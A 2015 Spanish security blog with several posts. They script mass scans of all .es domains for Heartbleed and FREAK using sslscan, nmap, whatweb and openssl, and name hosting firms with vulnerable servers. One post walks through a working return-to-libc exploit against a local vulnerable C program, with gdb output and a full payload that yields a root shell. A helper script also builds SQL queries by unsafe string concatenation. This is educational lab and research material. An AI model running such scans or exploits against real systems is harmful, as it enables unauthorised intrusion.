Redes Sociales

martes, 31 de marzo de 2015

Unos 6600 dominios ".es" aún son vulnerables a heartbleed

Una vez creado el repositorio, poco a poco hay que ir añadiéndole información. Tengo en mente añadirle información de whois, aunque haya que hacerlo a través de la herramienta Java que ofrece Red.es y que sólo permite 10 consultas por minuto.

Pero antes quiero recabar información de los dominios .es que son vulnerables (Los dominios no, claro, los servidores que hay detrás). El primer paso ha sido recabar información de qué dominios (bueno, sus servidores) eran vulnerables a Freak, así como otra información interesante. Hoy mostraré los que son aún vulnerables a heartbleed.

Como recordaremos (aquí, aquí y aquí), heartbleed es una vulnerabilidad de la versión 1.0.1f de openssl, que se descubrió en Marzo de 2014 (hace justo un año, ahora) y cuya resolución consiste en simplemente actualizar la versión de openssl instalada en los servidores.

La vulnerabilidad es un desbordamiento de buffer en memoria de openssl y el atacante podría obtener información aleatoria almacenada en el mismo bloque de memoria donde se encuentra la vulnerabilidad. Además, cada vez que se lanza el ataque, el servidor devolverá información diferente, permitiendo a los atacantes, con el tiempo recabar información de todo tipo, desde contraseñas en claro, rutas del servidor o versiones de software instaladas.

Para añadir información sobre si los dominios .es (los servidores que hay detrás) estan afectados por heartbleed, he utilizado la herramienta sslscan, que ofrece información de todo tipo sobre la implementacion de openssl instalada en los servidores HTTPS (en el puerto 443 sólo, no he buscado en puertos 443 alternativos como el 444 o el 8443).

Lo que muestra normalmente sslscan, por ejemplo contra google.es es los siguiente:

Como se puede ver nos indica si la compresión y la renegociación estan habilitadas, si las versiones 1.0, 1.1 y 1.2 de TLS son vulnerables y los cifrados permitidos por el servidor. A mi en este caso solo me interesaba la parte de la vulnerabilidad de heartbleed.

El script utilizado ha sido el siguiente:

for i in `cat Full_ES_Domains_List.csv | cut -d'|' -f1 | sed 's/"//g'`
do 
      ./inserta_heartbleed.sh $i >> heartbleed & 
      if [ `ps -ef | grep sslscan | wc -l` -gt 100 ]
      then 
          sleep 10
      fi
done

Como vemos, tira del script inserta_heartbleed.sh que es el siguiente:

#!/bin/bash

VALOR=`/usr/bin/sslscan --no-ciphersuites --no-renegotiation --no-compression --no-preferred 
--no-check-certificate $1 2>/dev/null| /bin/grep heartbleed | /usr/bin/awk '{ if ($3 ~ "not") 
{ printf "%s", "0"} else { printf "%s", "1"} }'`

echo $1 ":" $VALOR

Vamos, script muy sencillitos que permiten lanzar hasta 100 sslscan simultáneos y que me permitirán recorrer los 1.7 millones de dominios .es en apenas 4 o 5 días.

El listado devuelto por estos scripts es el siguiente:

Como se puede ver, para cada dominio se muestran tres numeros, que corresponden a las versiones 1.0, 1.1 y 1.2 de TLS tal y como nos saca sslscan.



Resultados


En estos momentos, se han escaneado 1762459 dominios, es decir el total de los dominios .es. El script detectó "unicamente" 8228 dominios (servidores) vulnerables a heartbleed, lo que significa que un año después de su descubrimiento sólo el 0,46% de los dominios estarían en peligro de robo de información. La verdad es que es un muy buen resultado, máxime porque unos 1500 de estos 8228 dominios son dominios del estilo zxs.es, zxq.es, creados únicamente con objeto de de vender el propio dominio. Aún así unos 6650 dominios .es (los servidores que dan servicio) aún son vulneraables.

Como vengo repitiendo desde el principio del articulo, el problema no es de los dominios, sino de los servidores que hay detrás y en el tejido empresarial español, en el que más del 90% son PYMEs que no tienen un área IT, el alojamiento web se contrata a empresas especializadas. El siguiente psaso pues, fue descubrir qué empresas de alojamiento web (muchas de ellas extranjeras) no estan cumpliendo sus obligaciones y mantienen todavía los sitios web de sus clientes vulnerables a heartbleed. La búsqueda fue muy simple:

for i in `grep 111 heartbleed | cut -d':' -f1`; do echo -n $i": " ;echo -n `ping -c 1 -W 5 $i  
| grep from`; echo; done | cut -d':' -f 2 | cut -d' ' -f5 | sort 

Sólo se me ocurrio hacerlo usando ping, seguro que hay soluciones mejores. En apenas 5 minutos el resultado nos demostró que algunas empresas de hosting no estan haciendo bien su trabajo. Estas son las 10 más afectadas con dominios. Recordemos que los valores totales son 6650. Si por ejemplo onlinehome-server.info tiene 214 dominios afectados, ella sola un 11% del total de dominios afectados en España. Entre las 10 de la gráfica de abajo suman el 36% de los dominios .es. Vamos, que yo si tuviera que escoger un hosting no me tiraría por ninguna de estas.

Pero por supuesto, hay muchas otras empresas que ofrecen hosting con dominios afectados. En total podemos estar hablando de cerca de 70 empresas de hosting que en mayor o menor medida no estan haciendo correctamente su trabajo... Muchas, demasiadas.

miércoles, 25 de marzo de 2015

Primeros resultados del repositorio de información de dominios .es

A partir del simple repositorio de información de dominios .es que explique en mi anterior entrada, en apenas 4 días de tenerlo en funcionamiento ya podemos sacar las primeras conclusiones.

Como resumen, en apenas 4 días se obtuvo información de:

  • nmaps de 4930 dominios .es
  • 114369 puertos
  • resultados de whatweb de 139857 dominios .es
  • 1441056 datos diferentes de esos 139857 dominios


Algunos datos interesantes obtenidos


Puertos abiertos más comunes

Como era de esperar, los puertos 80,443, 25 y 21 son los puertos más comúnmente abiertos, pero curiosamente no por este orden:

Si no contamos el total de estos 10 puertos, en las casi 5000 máquinas escaneadas nos quedan 77439 puertos de todo tipo en estado "open". Y seguramente muchos de ellos con aplicaciones vulnerables detrás y abiertos a internet:



Que tecnología hay detrás?

Si nos centramos en la información proporcionada por whatweb sacamos cosas aún mas interesantes. Para empezar si miramos los servidores web más comunes aparecen sobre todo Apache y nginx, pero llama la atención la cantidad de IIS/6.0 aun en funcionamiento. ¿Estaran parcheados?:



Pero es que si tiramos un poco hacia arriba nos encontramos con un buen numero de Apaches 2.0.52 y 2.0.54, IIS/5.0 y Nginx 1.0:



A ver que vulnerabilidades podemos encontrar en un Apache 2.0.52... pues salen un total de 36 que tengan su propio CVE:



En cuanto a la tecnología subyacente, vemos que ASP es la primera, se entiende que en los servidores IIS:



Llama la atención los 3617 servidores (un 2,58% del total) que aun tienen la version 5.2.17 de PHP y que como podemos ver atesoran cada uno de ellos un total de 38 vulnerabilidades, algunas de ellas con su correspondiente exploit:



Hay mucha mas información. Estas son las cabeceras especiales que devuelve una peticion HTTP. Como vemos, muchos sitios tienen la cabecera x-frame-options para evitar episodios de click-fraud.

Pero llama la atencion la cantidad de webs que envían la cabecera HTTP x-adblock-key. ¿Y esto que es?. Es una cabecera que le dice a AdBlock Plus que los anuncios de su web son legítimos y los muestre. Y es que Adblock no deja de ser un negocio y aunque filtra muchos anuncios, si la web paga, sus anuncios se mostraran todos.



En fin, se puede sacar información de todo tipo, por ejemplo ésta es la versión de wordpress utilizada, vemos aún alguna versión 2.9 y 3.0 en uso:



Por supuesto, de cada uno de estas tecnologías vulnerables que encontramos podemos sacar su IP y probar un ataque. Si esto es lo que he encontrado yo con apenas 4 días de busqueda, ¿que es lo que tendran las organizaciones que se pasan todo el día rastreando internet?.

Otro día seguiré sacando estadisticas curiosas.

martes, 24 de marzo de 2015

Preparando un repositorio de información sobre dominios ".es"

Disponiendo como tengo estos dias de dos recursos importantes como son el tiempo y un listado completo de dominios .es y dado que no existe un repositorio whois mantenido por nic.es o red.es, decidí ponerme a recabar y almacenar información sobre los servicios y servidores de los dominios .es.

Mi idea inicial fue almacenar los puertos abiertos en cada dominio, pero rápidamente se me ocurrió ampliar esta información con toda la que nos ofrece el comando "whatweb", el cual además ofrece una opción por la cual la información la escribe en formato de sentencias SQL. Perfecto para un gran repositorio de información como el que me planteo crear.

El primer paso fue crear la base de datos. Inicialmente instalé y preparé una base de datos SQLite, hasta que me di cuenta que, al no permitir concurrencia de sentencias SQL, esta BD me penalizaba mucho mas que ayudarme. Por esta razón decidi migrar lo poco que había obtenido (hasta el momento solo los nombres de los 1.7 Millones de dominios .es) a MySQL.

A día de hoy (su segundo dia), la base de datos tiene 5 tablas:

  • Domains
  • Ports
  • plugins
  • scans
  • targets

Las dos primeras tablas fueron creadas por mi para almacenar los dominios .es y sus puertos (tanto abiertos, como filtrados, como cerrados). Las tres ultimas pertenecen a la salida que genera el script whatweb.

La table Domains. Su objetivo es almacenar los dominios .es, en ella se almacena un id, el nombre de dominio, la IP, si es vulnerable a FREAK y el CIF del dominio.

+---------+---------+------+-----+---------+-------+
| Field   | Type    | Null | Key | Default | Extra |
+---------+---------+------+-----+---------+-------+
| Id      | int(11) | YES  |     | NULL    |       |
| Name    | text    | YES  |     | NULL    |       |
| IP      | text    | YES  |     | NULL    |       |
| Company | text    | YES  |     | NULL    |       |
| FREAK   | text    | YES  |     | NULL    |       |
| CIF     | text    | YES  |     | NULL    |       |
+---------+---------+------+-----+---------+-----

La tabla Ports. Rellenada a partir de la información obtenida via nmap, se incluye un id del dominio (que se casa con la tabla Domains), el numero del puerto y si es tcp o udp (con el formato "465/tcp"), el estado (Open, Close, Filtered, etc) y el servicio que hay detrás. En estos momentos tiene 59000 Puertos documentados pertenecientes a 3015 dominios. Esta es la tabla que más lentamente se rellena y tengo que echarle una pensada.

+---------+---------+------+-----+---------+-------+
| Field   | Type    | Null | Key | Default | Extra |
+---------+---------+------+-----+---------+-------+
| Id      | int(11) | YES  |     | NULL    |       |
| Port    | text    | YES  |     | NULL    |       |
| Status  | text    | YES  |     | NULL    |       |
| Service | text    | YES  |     | NULL    |       |
+---------+---------+------+-----+---------+-----

La tabla plugins es una tabla estática que almacena un id y el nombre de un plugin. ¿Y que es un plugin?. Pues es un tipo de datos que devuelve whatweb, desde un servidor web hasta una IP.

La tabla scans es la que almacena el grueso de la información devuelta por whatweb, en concreto se almacena en el campo string, por lo que el resto de campos son bastante innecesarios.

+-----------+--------------+------+-----+---------+----------------+
| Field     | Type         | Null | Key | Default | Extra          |
+-----------+--------------+------+-----+---------+----------------+
| scan_id   | int(11)      | NO   | PRI | NULL    | auto_increment |
| plugin_id | int(11)      | NO   |     | NULL    |                |
| target_id | int(11)      | NO   |     | NULL    |                |
| version   | varchar(255) | YES  |     | NULL    |                |
| os        | varchar(255) | YES  |     | NULL    |                |
| string    | varchar(767) | YES  |     | NULL    |                |
| account   | varchar(767) | YES  |     | NULL    |                |
| model     | varchar(767) | YES  |     | NULL    |                |
| firmware  | varchar(767) | YES  |     | NULL    |                |
| module    | varchar(767) | YES  |     | NULL    |                |
| filepath  | varchar(767) | YES  |     | NULL    |                |
| certainty | varchar(10)  | YES  |     | NULL    |                |
+-----------+--------------+------+-----+---------+----------------+

La tabla targets almacena los nombres de dominios, un id y el codigo devuelto al conectarse via web (un 200, un 404, un 301...). La información almacenada aqui es bastante redundante ya que también la tengo en la tabla Domains, pero dado que es la que proporciona whatweb por defecto, la dejaré así y ya veré como solucionar el problema de la duplicidad.

Una vez creadas las tablas, hay que crear los scripts que recaban la información. Un poco de shell magic y...

for i in `cat datos_originales/Full_data | cut -d'|' -f1 | sed 's/"//g'`
do 
         nmap -T4 --host-timeout 660 $i 2>/dev/null | egrep "tcp|udp" |while read line; do 
                        PORT=`echo $line | awk '{ print $1 }'`
                        STATUS=`echo $line | awk '{ print $2 }'`
                        SERVICE=`echo $line | awk '{ print $3 }'`
                        python inserta-mysql.py $i $PORT $STATUS $SERVICE
         done &  
         if [ `ps -ef | grep nmap | wc -l` -gt 90 ]
         then 
              sleep 30
         fi
done &

Este script lanza hasta 90 nmaps simultaneamente y espera 11 minutos (660 segundos) a que acaben. Despues de varias pruebas consideré que era la mejor combinación. Si todo va bien un nmap deberia tardar unos 60 sg, pero con tantos lanzandose a la vez es normal que tarden mas bien entre los 7 y los 8 minutos.

Como vemos el script tira de inserta-mysql.py, programita en python que inserta los datos en la BD MySQL y que tiene este aspecto:

import csv
import sys
import MySQLdb

DB_HOST='localhost'
DB_USER=''
DB_PASS=''
DB_NAME='whois'

datos = [DB_HOST, DB_USER, DB_PASS, DB_NAME]
con = MySQLdb.connect(*datos)
cur = con.cursor()   
i=0

domain=sys.argv[1]
port=sys.argv[2]
status=sys.argv[3]
service=sys.argv[4]

cur.execute("select id from Domains where Name='"+domain+"'")
records = [int(record[0]) for record in cur.fetchall()]
id=records[0]

query="INSERT INTO Ports VALUES('"+str(id)+"','"+port+"','"+status+"','"+service+"')" 
cur.execute(query)

con.commit()

if con:
 cur.close()
        con.close()

Ahora ya solo queda lanzar los comandos y esperar:

root@kali:~/Downloads# ./inserta.sh

Por otra parte, no me quería centrar sólo en los puertos abiertos, quería obtener más información de los dominios españoles. Whatweb es un programita escrito en Ruby que obtiene información muy variada sobre un dominio. Por ejemplo:

  • La IP
  • El código de acceso (200, 301, 404, etc)
  • El servidor web instalado y su versión (Apache, IIS 7.5,...)
  • El CMS que tienen instalado (Drupal, Joomla!, etc)
  • Las librerias Javascript, PHP instaladas, etc.

Además tiene una opción estupenda que escribe en formato SQL la salida de la herramienta. Perfecto para pasásela a continuación a MySQL. Así que con la siguiente linea de comando:

for i in `cat datos_originales/Full_data | cut -d'|' -f1 | sed 's/"//g'` 
do 
    whatweb $i --log-sql=inserta.sql & 
    if [`ps -ef | grep whatweb | wc -l` -gt 50 ]; then sleep 20; fi
done

...lanzo hasta 50 whatweb simultáneos. Whatweb no consume tanto ancho de banda como nmap por lo que podía haber aumentado el numero de whatweb simultaneos, pero con los nmap funcionando a la vez ya era demasiado para mi pobre instalación casera...

El anterior script genera un fichero SQL que lógicamente hay que meter en MySQL. El comando es muy simple:

mysql -f whois < inserta.sql

Me hubiera gustado poder recopilar información de whois de los dominios españoles, pero por desgracia España todavía no tiene un servidor de Whois público, y el servicio de whois que ofrece Red.es se basa en Java y solo permite 10 consultas por minuto.

En la próxima entrada mostraré los resultados obtenidos en apenas 4 días lanzando estos scripts.

miércoles, 18 de marzo de 2015

Haciendo funcionar Tortazo en una Kali de 32 bits

Tortazo es un proyecto muy interesante de la gente de TheHackerWay para auditar los nodos de la red Tor.

Se puede descargar de https://github.com/Adastra-thw/Tortazo.

Su funcionamiento esta bien explicado en su manual, pero la parte de instalación se queda un poco coja.

En esta entrada voy a explicar los problemas que me encontré para hacerlo funcionar en mi sistema Linux.

Después de descargarlo desde github y leerme la documentación, indica que podemos tirar del ejecutable que se encuentra en Tortazo-master/bin, pero resulta que el ejecutable de linux solo es para arquitecturas de 64 bits:

root@kali:~/Tortazo-master/bin# ls
Tortazo11-linx86_64  Tortazo11-win32.exe

root@kali:~/Tortazo-master/bin# file *
Tortazo11-linx86_64: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses
shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=0xad2a63133513bdc57e327dc38fd08e78bc27c9b0, not 
stripped

root@kali:~/Tortazo-master/bin# ./Tortazo11-linx86_64 
bash: ./Tortazo11-linx86_64: no se puede ejecutar el fichero binario

Así pues toca tirar del código. Aparente con ejecutar "python Tortazo.py" debería funcionar, pero en la documentación dicen claramente que hay que instalar una serie de dependencias. Pero no indica exactamente los comandos. Para que no os peleeis con ellos como yo, son estos:

pip install stem
apt-get install python-nmap python-shodan
pip install fabric
pip install pysmb
pip install plumbum
pip install pyfiglet
pip install pygeoip
pip install Ipython
pip install scrapy

El tema de los 64 bits es un problema porque hay alguna funcionalidad que falla por esta razón. Por ejemplo el plugin de Crawler tira de una version de socat hardcodeada de 64 bits. La única forma de hacer funcionar el plugin Crawler en un sistema de 32 bits consiste o bien en modificar el código python o bien en machacar el binario socat de tortazo por el que viene en tu sistema:

cp /usr/bin/socat /plugins/utils/socat

martes, 17 de marzo de 2015

Unos 95000 dominios .es aún son vulnerables a FREAK

FREAK es una vulnerabilidad en la gestión del nivel del cifrado de conexion SSL/TLS que podría permitir a atacantes maliciosos la negociación de un cifrado débil en la comunicación de manera éste pudiera descifrar el tráfico y obtener las claves de cifrado de una forma relativamente simple, permitiendo a usuarios no autorizados acceder a la información que envíen y reciban estos servidores, llegando incluso a poder suplantarlos.

FREAK ya ha sido encontrada siendo utilizada desde el primer dia de su descubrimiento, tanto en servidores Linux, Windows como Mac.

Aunque todos los fabricantes ya se han puesto manos a la obra para ofrecer actualizaciones que solucionen esta vulnerabilidad, a día de hoy, casi 100000 dominios .es aún son vulnerables.

Se puede consultar si un servidor es vulnerable de diferentes formas, accediendo a páginas creadas especificamente para tal fin, como http://www.nagios.com/freak-vulnerability-tester o https://tools.keycdn.com/freak, o directamente desde nuestro Linux con el comando:

openssl s_client -cipher EXPORT -connect [DOMINIO]:443 < /dev/null 2>/dev/null | grep SSL-Session -c

Si este comando devuelve "1" es que el sistema podria ser vulnerable, a través de su puerto 443 (https).

Existen un total de 1763357 dominios .es registrados y activos (a fecha del pasado jueves 12 de Marzo), y este listado completo se puede solicitar a Red.es.

A lo largo de los ultimos días, he estado lanzando el anterior comando contra los puertos 443 de los 1763357 dominios .es registrados hasta la fecha. Los resultados han sido que aproximadamente el 5.4% de estos dominios aun son vulnerables.

Aunque la cifra puede parecer pequeña, esto significa que aproximadamente 95000 dominios son vulnerables (a través de las conexiones a su puerto 443, no se ha probado conectando a otros puertos típicos como el 8443 o similares).

Para realizar este estudio se utilizaron los siguientes tres shell scripts:

root@kali:~/tmp# cat full_check.sh 
#!/bin/bash

FILE=/tmp/Full_listing_es_domains

TOT=`wc -l $FILE | awk '{ print $1 }'`

k=0
j=0

while [ $k -lt $TOT ]
do 
    next=`echo "100000 * $j" | bc`
    filename="list_$k_$next"
    head -$next $FILE | tail -100000 > $filename; 
    k=`echo "$k + 100000" | bc`
    j=`echo "$j + 1" | bc`

    /tmp/check_100000.sh  $filename &
done

Este era el script principal, que divide fichero inicial en 18 partes de 100000 (o menos) dominios y lanza 18 procesos que procesarán cada uno 100000 dominios.

Este segundo script recorre los 100000 dominios que le tocan y lanza un openssl para cada dominio. No deja haya más de 500 openssl lanzado simultáneamente en memoria:

root@kali:~/tmp# cat check_100000.sh 
#/bin/bash

    for i in `cat $1 | cut -d'|' -f 1 | sed 's/"//g'`
    do 
         /tmp/check_server.sh $i $1_output.txt & 
         if [ `ps -ef | grep openssl | wc -l` -gt 500 ]
         then 
             sleep 10
         fi
    done 

El tercer script es el que lanza el openssl y solo comprueba la vulnerabilidad contra un dominio en concreto:

root@kali:~/tmp# cat check_server.sh 
#!/bin/bash

NOMBRE=`echo -n $1  ":"`
VALOR=`openssl s_client -cipher EXPORT -connect $1:443 < /dev/null 2>/dev/null | grep SSL-Session -c`

echo $1 ":" $VALOR >> $2

Por supuesto esto es infinitamente mejorable. En python por ejemplo podría hacerse mejor. Sin embargo, asi me ha funcionado y asi lo dejo por si alguien quiere repetir el proceso.



Resultados

Aunque el proceso aún no ha terminado, se han procesado hasta el momento 1.300.280 dominios '.es'. De los cuales se han detectado un total de 70026 vulnerables. Esto significa que en estos momentos son un 5.4% del total, lo que, extrapolando al numero total de 1.7 millones de dominios '.es' son mas de 95000 los que a día de hoy serían vulnerables.

Algunos de los dominios que actualmente son vulnerables:

Por desgracia España aun no dispone de un servidor whois público por lo que resulta difícil poder comunicar este problema a los encargados de cada dominio. Red.es proporciona un servicio whois utilizando un cliente Java (!!!) con un máximo de 10 solicitudes por minuto.

L atarea de comunicar a las distintas empresas la vulnerabilidad en sus servidores Web deberá ser realizada por un organismo púbico como INCIBE.


PS: El listado final se redujo hasta los 92862 dominios vulnerables. Lo que significa un 5,26% de todos los dominios. Como este estudio se produjo a los largo de varios dias, he vuelto a lanzar los scripts unicamente sobre los 92862 positivos para conocer la evolución en los últimos 3 días y 1164 dominios han resuelto el problema en sus servidores. Esta vez el script tardo apenas unas horas porque solo ha comprobado esos 92000 dominios. Sin embargo aún quedan al menos 91698 servidores vulnerables. Iré actualizando esta entrada para ver cómo evoluciona el parcheado ante esta vulnerabilidad.

lunes, 16 de marzo de 2015

Descubre si tus conocidos han sido 'pwned'

Jugando un rato con Python se me ocurrio por una parte sacar las direcciones de correo de quienes me han escrito alguna vez a mi cuenta de gmail y buscarles luego en el servicio "have I been Pwned".

Para ello primero intenté sacar las direcciones de correo de mi cuenta de gmail con:

 #!/usr/bin/python

import imaplib
import sys
import email
import re

FOLDER='inbox'
LOGIN='martin.liras@gmail.com'
PASSWORD='XXXXXXXXX'
IMAP_HOST = 'imap.gmail.com'

email_list = []
email_unique = []

mail = imaplib.IMAP4_SSL(IMAP_HOST)
mail.login(LOGIN, PASSWORD)
mail.select(FOLDER) 

result, data = mail.search(None, 'ALL')
ids = data[0]
id_list = ids.split()
for i in id_list:
 typ, data = mail.fetch(i,'(RFC822)')
 for response_part in data:
  if isinstance(response_part, tuple):
   msg = email.message_from_string(response_part[1])
   sender = msg['from'].split()[-1]
   address = re.sub(r'[<>]','',sender)
# Ignore any occurences of own email address and add to list
 if not re.search(r'' + re.escape(LOGIN),address) and not address in email_list:
  email_list.append(address)
  print address

...código completamente copiado de http://www.terminalinflection.com/python-script-email/.

El problema aqui lo encontré en que NO HABIA FORMA DE QUE EL SCRIPT SE AUTENTICARA A GMAIL. Sin embargo la contraseña estaba bien, yo estaba logado... un rato dándole vueltas... hasta que de repente mi novia me reenvió un email... de Gmail diciéndole (a ella) que mi cuenta estaba intentando ser hackeada y que si era yo, redujera el nivel de seguridad de Gmail para las aplicaciones que acceden al servicio de correo (en https://www.google.com/settings/security/lesssecureapps ).

Este es el correo enviado por gmail.

Una vez reducido el nivel de seguridad de gmail, el script entró a la primera y empezó a chorrear direcciones de correo:

El proceso es largo, no en vano, yo tengo correos sin borrar (oh yeah, google knows everything about me) desde 2008. Tras mas de una hora de espera, se sacaron 163 contactos.

El siguiente paso consistía en usar la API de HaveIbeenPwned para consultar estas direcciones de correo. Existen al menos cuatro implementaciones en Python que atacan HaveIBeenPwned:

  • PwnedCheck
  • checkpwnedemails
  • PyPwned
  • PwnedConsole

Yo me quedé con la primera opción por simplicidad pero hay que reconocer que las otras son más completas y mejores. El programita en cuestion es MUUUUY simple:

import pwnedcheck
import sys

print pwnedcheck.check(sys.argv[1])

Finalmente aparentemente 21 de mis contactos han sido "pwned" todos ellos en la brecha de Adobe:

El caso es que del leak de Adobe se pueden descargar los 152 millones de contraseñas pwneadas (4Gb) via torrent y las contraseñas vienen cifradas en 3DES ECB... oh dear...

martes, 10 de marzo de 2015

Exploiting "Return to Libc"

Pretendo con esta entrada que aquel como yo que este estudiando estos métodos no se vuelva loco como me ha pasado a mi esta tarde. No voy a explicar exactamente como funciona, si no más bien, como hacerlo funcionar, que es diferente.

El código del programa vulnerable es el siguiente:

#include 
#include 
#include 

fvuln(char *temp1, char *temp2){
 char buffer[512];
 strcpy(buffer, temp2);
 printf("Hola %s %s \n", temp1, buffer);
}

int main(int argc, char* argv[]){
 if (argc<3) exit(0);
 fvuln(argv[1], argv[2]);
 printf("Hasta luego %s %s\n", argv[1], argv[2]);
 return 0;
}


ERROR 1

Para empezar, si lo compilamos con:

gcc poc.c -o poc

...este metodo de exploiting no funcionará. Es necesario compilar con:

gcc poc.c -Wall -W -g -o poc2

Compilando con si -W y -g , nos saldra el siguiente warning, pero continuara la ejecución, terminando con exito:

sh: 1: =/bin/sh: not found
[Inferior 1 (process 13743) exited normally]


ERROR 2

Si vemos que la variable de entorno que queremos utilizar para indicarle la shell tiene diferentes direcciones en cada ejecución, es que tenemos el ASLR activado:

root@kali:~# export SHELL="/bin/sh"
root@kali:~# ./getENVaddress.o SHELL ./poc
SHELL esta en 0xbfd0e77e
root@kali:~# ./getENVaddress.o SHELL ./poc
SHELL esta en 0xbfad777e
root@kali:~# ./getENVaddress.o SHELL ./poc
SHELL esta en 0xbfa0877e
root@kali:~# ./getENVaddress.o SHELL ./poc
SHELL esta en 0xbf8d677e
root@kali:~# ./getENVaddress.o SHELL ./poc
SHELL esta en 0xbfa5177e

En este caso lo desactivaremos con:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space


Como vemos:

root@kali:~# ./getenv3 
Found BAH="/bin/sh" at 0xbfad1e85
root@kali:~# ./getenv3 
Found BAH="/bin/sh" at 0xbff15e85
root@kali:~# ./getenv3 
Found BAH="/bin/sh" at 0xbfe56e85
root@kali:~# ./getenv3 
Found BAH="/bin/sh" at 0xbf993e85
root@kali:~# echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
0
root@kali:~# cat /proc/sys/kernel/randomize_va_space
0
root@kali:~# ./getenv3 
Found BAH="/bin/sh" at 0xbffffe85
root@kali:~# ./getenv3 
Found BAH="/bin/sh" at 0xbffffe85
root@kali:~# ./getenv3 
Found BAH="/bin/sh" at 0xbffffe85


ERROR 3

No te fíes de la dirección que te indica el getenv. No es que este mal escrito, es que no nos vale:

(gdb) x/s 0xbffffe85
0xbffffe85:      "ON=default"

Yo al final la saqué por el viejo método de prueba/error:

(gdb) x/s 0xbffffe90
0xbffffe90:      "HOME=/root"
(gdb) x/s 0xbffffe98
0xbffffe98:      "ot"
(gdb) x/s 0xbffffea0
0xbffffea0:      "=1"
(gdb) x/s 0xbffffea8
0xbffffea8:      "bin/sh"
(gdb) x/s 0xbffffea3
0xbffffea3:      "BAH=/bin/sh"


ERROR 4 (Y más grave)

Para explotar usando "Return to Libc", debemos de buscar la dirección de libc donde se encuentran system, exit y la variable de entorno antes creada (y fijada). Con gdb lo podemos hacer asi:

(gdb) x/s 0xbffffea3
0xbffffea3:      "BAH=/bin/sh"
(gdb) p system
$1 = {} 0xb7e93c30 
(gdb) p exit
$2 = {} 0xb7e87270 
(gdb) n

He aquí el mayor error que yo cometí. Resulta que no nos interesa la dirección de la variable de entorno, SINO LA DE SU CONTENIDO. Es decir, en vez 0xbffffea3, nos interesa la 0xbffffea7 (En este caso), es decir hay que añadirle la longitud del nombre de la variable y el "=". De esta forma:

(gdb) x/s 0xbffffea7
0xbffffea7:      "/bin/sh"

...que es justo lo que nos interesa.

ERROR 4

El buffer es de 512 bytes pero tenemos que machacar algo que esta no justo detras, si no cuatro bytes despues. Me explico el buffer en memoria es algo asi:

===BUFFER de 512 BYTES===\x00\x00\x00\x00===RET1===RET2===

Nosotros tendremos que atacar no RET1 sino RET2. Por tanto en vez de escribir 512 "A", escribiremos 520.

EN RESUMEN

El comando a ejecutar será por tanto algo asi:

/root/poc2 XXX `perl -e 'print "A"x520 . [DIR_RET].[SYSTEM].[EXIT].[ENV_VAR]

Cabe mencionar que DIR_RET da igual que pongamos siempre que no tenga bytes a NULL. Aunque es interesante que sea la direccion de retorno que deberia estar ahi. Con este comando:

/root/poc3 XXX `perl -e 'print "A"x512'`

Esta es la captura de memoria:

(gdb) x/200x buffer
0xbffff0c0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff0d0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff0e0:     0x41414141      0x41414141      0x41414141      0x41414141
(...)
0xbffff2a0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff2b0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff2c0:     0x00000000      0xbffff394      0xbffff2e8      0x080484f0

Y la direccion de retorno es 0xbffff2e8. Lo dejaremos asi, pues. El comando entonces será:

/root/poc3 XXX `perl -e 'print "A"x520 . "\xe8\xf2\xff\xbf"."\x30\x3c\xe9\xb7"."\x70\x72\xe8\xb7".
"\xa7\xfe\xff\xbf"'`

Esta es la captura de memoria (notese que ahora se copian ocho letras "A" mas:

0xbffff0a0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff0b0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff0c0:     0x41414141      0x41414141      0x41414141      0x41414141
(...)
0xbffff290:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff2a0:     0x41414141      0x41414141      0xbffff2e8      0xb7e93c30
0xbffff2b0:     0xb7e87270      0xbffffea7      0x08048500      0xb7fb7ff4
0xbffff2c0:     0x08048530      0x00000000      0xbffff348      0xb7e6ee46

Al ejecutarlo, por fin:

(gdb)  run XXX `perl -e 'print "A"x520 . "\xe8\xf2\xff\xbf"."\x30\x3c\xe9\xb7"."\x70\x72\xe8\xb7".
"\xa7\xfe\xff\xbf"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /root/poc3 XXX `perl -e 'print "A"x520 . "\xe8\xf2\xff\xbf"."\x30\x3c\xe9\xb7".
"\x70\x72\xe8\xb7"."\xa7\xfe\xff\xbf"'`
warning: no loadable sections found in added symbol-file system-supplied DSO at 0xb7fe0000

Breakpoint 1, main (argc=3, argv=0xbffff374) at poc.c:12
12              if (argc<3) exit(0);
(gdb) n
13              fvuln(argv[1], argv[2]);
(gdb) n
^Z AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAA����0<��pr跧���
# id
uid=0(root) gid=0(root) grupos=0(root)
# exit